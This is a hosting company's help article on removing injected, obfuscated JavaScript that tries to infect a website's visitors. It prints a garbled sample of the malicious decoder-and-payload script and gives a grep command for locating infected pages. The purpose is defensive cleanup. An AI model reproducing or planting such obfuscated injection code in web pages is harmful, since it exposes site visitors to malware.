HostMonster Web Hosting Help

My website attempts to infect visitors with a virus

Problem:

Your website attempts to infect visitors with a virus. You search your server and cannot find any viruses executables to account for it.

Solution:

Check last few lines of web page for obfuscated javascript code, as in the following example:
    <script language=JavaScript>
    function dc(x){
    var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,
    19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);
    for(j=Math.ceil(l/b);j>0;j--){
    r='';
    for(i=Math.min(l,b);i>0;i--,l--){
    w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}
    else{s=6}}
    document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmO
    At7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")
    </script>
Remove the offending lines as you find them on any pages.

With SSH command line access, you can find additional infected pages with a command similar to the following:

    grep -r "function dc(x)" . | awk -F: '{print $1}'
Knowledgebase Article 93,091 views bookmark tags: virus (updated 2125 days ago)


Was this resource helpful?

Did this resolve your issue?


Please add any other comments or suggestions about this content:





Recommended Help Content

If you suspect malicious content, hacks or a virus on your VPS/Dedicated account here are some tools located in your WHM that you can use. (updated 10 days ago)
Knowledgebase Article 1,411 views tags: clamav dedi dedicated malware virus vps

This article will explain the benefits of SiteLock in regards to virus scanning. (updated 99 days ago)
Knowledgebase Article 2,966 views tags: sitelock

Why is my site not the first result on Google or an other search engine? (updated 1445 days ago)
Knowledgebase Article 105,421 views tags: bing engine google search seo yahoo

Related Help Content

Why will Entropy not search any php file? (updated 2105 days ago)
Knowledgebase Article 61,195 views tags: php search

I am trying to rebuild my index for Entropy Search and it stops before 100%. (updated 2125 days ago)
Knowledgebase Article 63,071 views tags: index search

How does Search Engine Placement work? (updated 2123 days ago)
Knowledgebase Article 89,895 views tags: engine promo promote search

How to install ClamAV to help with virus protection. (updated 493 days ago)
Knowledgebase Article 24,652 views tags: antivirus clamav cpanel dedicated plugin server whm

This article explains how to find the database in use by a Wordpress site. (updated 108 days ago)
Knowledgebase Article 2,925 views tags: database find wordpress

To help with installing an SSL certificate for an account on a dedicated server through the WHM (updated 88 days ago)
Knowledgebase Article 69,465 views tags: assign dedicated server ssl whm

I need to transfer my website from my old host to HostMonster, but I do not know how to do it without losing files or mail. (updated 92 days ago)
Knowledgebase Article 269,739 views tags: transfer upload website

The website is taking a long time to load. It just seems slower today than normal. (updated 93 days ago)
Knowledgebase Article 204,194 views tags: site slow web website